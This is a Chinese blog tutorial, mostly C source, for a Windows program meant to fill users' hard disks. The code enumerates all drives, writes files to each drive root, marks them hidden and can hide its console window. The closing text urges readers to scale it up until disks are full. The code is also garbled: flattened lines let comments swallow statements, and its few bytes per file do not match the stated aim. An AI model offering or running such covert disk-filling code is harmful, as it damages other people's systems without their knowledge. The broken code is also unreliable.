C/C++轻松写可塞满硬盘的程序
关于写可塞满硬盘的程序
我们先想想思路:
第一步:获取逻辑盘符
第二步:创建文件
第三步:文件写入数据
扩展要求:
一:隐藏窗口
二:文件设置为隐藏属性
下面我们对上述的思路介绍一个API,接受完后给出源代码
GetLogicalDriveStrings function
Fills a buffer with strings that specify valid drives in the system.
DWORD WINAPI GetLogicalDriveStrings(_In_ DWORD nBufferLength,_Out_ LPTSTR lpBuffer
);
此函数是把系统里面可用的磁盘读取到lpBuffer里面
成功则返回获取的总长度,
失败有两个情况一个是buffer不够长,一个是其他问题
关于其他的API函数,都比较简单,有些可以从命名意思就知道功能,在此不在介绍,源码中也有注释,
下面看源代码
#include <Windows.h>int main()
{//FreeConsole(); //隐藏控制台char strDriveStrings[MAXBYTE] = { 0 };//获取逻辑地址DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);for (size_t i = 0; i < dwDriveStrLen; i += 4) //每4个字节表示一个盘符 {char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 };strncpy_s(strRoot,&strDriveStrings[i], 4);strcpy_s(strTargetPath, strRoot);//创建100个文件for (int j = 0; j < 100; j++){char TempStrTargetPath[MAX_PATH];strcpy_s(TempStrTargetPath, strTargetPath);char FileName[MAXBYTE];char Date[MAXBYTE] = "11111";wsprintf(FileName, "%d.txt", j);strcat_s(TempStrTargetPath, FileName);//创建文件HANDLE hFile;hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE)continue;DWORD Pointer;//写入数据WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL);CloseHandle(hFile);//将s所指向的某一块内存中的前n个 字节的内容全部设置为ch指定的ASCII值memset(FileName, 0, sizeof(FileName));//设置为隐藏SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN);}}return 0;
}
把文件浏览属性设置好:
运行结果如下:
如果出现以下问题:
修改字符集如下:
所以大家只要多搞几个文件,多搞点数据,硬盘就会被塞满
C/C++轻松写可塞满硬盘的程序相关推荐
- HTML5最新漏洞:用户硬盘或被垃圾数据塞满
北京时间3月4日早间消息,HTML5编程语言的一个最新漏洞今天被发现,它允许网站利用数GB垃圾数据对用户展开轰炸,甚至会在短时间内将硬盘塞满.多款主流浏览器均会受此影响. 一位名叫菲罗斯·阿伯克哈迪杰 ...
- [新手及懒人适用]轻松恢复误Ghost的硬盘
首先感谢51CTO有这么好的网络平台,很荣幸本周成为推荐博客.在高兴的同时,倍感压力,毕竟,51CTO看得见的看不见的大牛太多,而自己需要完善的东西还太多太多........... .好在,我会坚持自 ...
- arXiv,30 岁生日快乐!它的诞生,始于一个被塞满的邮箱
来源丨新智元 arXiv 30岁啦! 这个收集物理学.数学.计算机科学.生物学与数理经济学的论文预印本的网站,始于1991年8月14日. 30年来,它见证了无数学者的耕耘. 根据Nature的报道,截 ...
- 轻松写日记---日记软件
作者:shulan 官网 www.gudianxiaoshuo.com 轻松写日记 打开日记本,输入密码 便可书写当天的日记,除了写之外, 还有语音朗读.点评.标注.换肤换色等功能哦
- ImageIO写图片输出到硬盘
package awt; import java.awt.Color; import java.awt.Font; import java.awt.Graphics; import java.awt. ...
- 做好5步操作,轻松写出一篇价值10万的软文
今天,吕杭泽带给大家的是软文的写作技巧,我们全方位.360度的来深度剖析一下:软文到底应该怎么写呢? 软文,软文,首先要软!相对硬性广告而言,软文的精髓就在于一个字"软"!软文是广 ...
- 轻松写出爆文的好工具
这两年自媒体算是一个风口浪尖的行业,各种大学生,微商,甚至是宝妈都开始进军自媒体! 但是很多自媒体人都遇到这样的烦恼,发布的文章没有推荐,没有阅读,没有转发,收入很 低,或者根本没有粉丝关注,每天创作 ...
- python中脚本是指什么_你用Python写过最牛逼的程序/脚本是什么?
有网友在 Quora 上提问,「你用 Python 写过最牛逼的程序/脚本是什么?」.本文摘编了 3 个国外程序员的多个小项目,含代码. Manoj Memana Jayakumar, 3000+ 顶 ...
- python写简单的脚本-你用 Python 写过哪些牛逼的程序/脚本?
原标题:你用 Python 写过哪些牛逼的程序/脚本? [导读]:有网友在 Quora 上提问,「你用 Python 写过最牛逼的程序/脚本是什么?」.本文摘编了 3 个国外程序员的多个小项目,含代码 ...
最新文章
- 两地控制的项目要求_项目两地控制灯照明线路的安装.ppt
- NTFS 分区表修复新法(AcronisDiskDirector10)
- UI_UITableView_搭建
- JAVA——Okhttp封装工具类
- 荒野乱斗角色设计浅谈
- .net MySQL事物_在ASP.NET 2.0中操作数据之六十一:在事务里对数据库修改进行封装...
- android自动退出对话框,Android开发 在用EditText对话框Dialog退出后实现输入盘的退出...
- Javascript 事件冒泡处理
- Werkzeug Turorial
- ROS,launch学习
- LeetCode 127. Word Ladder
- CentOS 系统时间校准
- iOS crash分类,Mach异常、Unix 信号和NSException 异常
- html右侧可隐藏导航栏,HTMLCSS----练习隐藏导航栏(三级导航)
- kubernetes 使用kubectl port-forward 访问应用
- 达内python培训靠谱吗
- 【项目笔记】布局文件报错Suspicious size: this will make the view invisible, probably intended for layout_width
- CDH kudu Unable to load consensus metadata for tablet
- 迎娶白富美,走上人生巅峰(python爬虫股票分析)
- 人工智能初识(百度ai)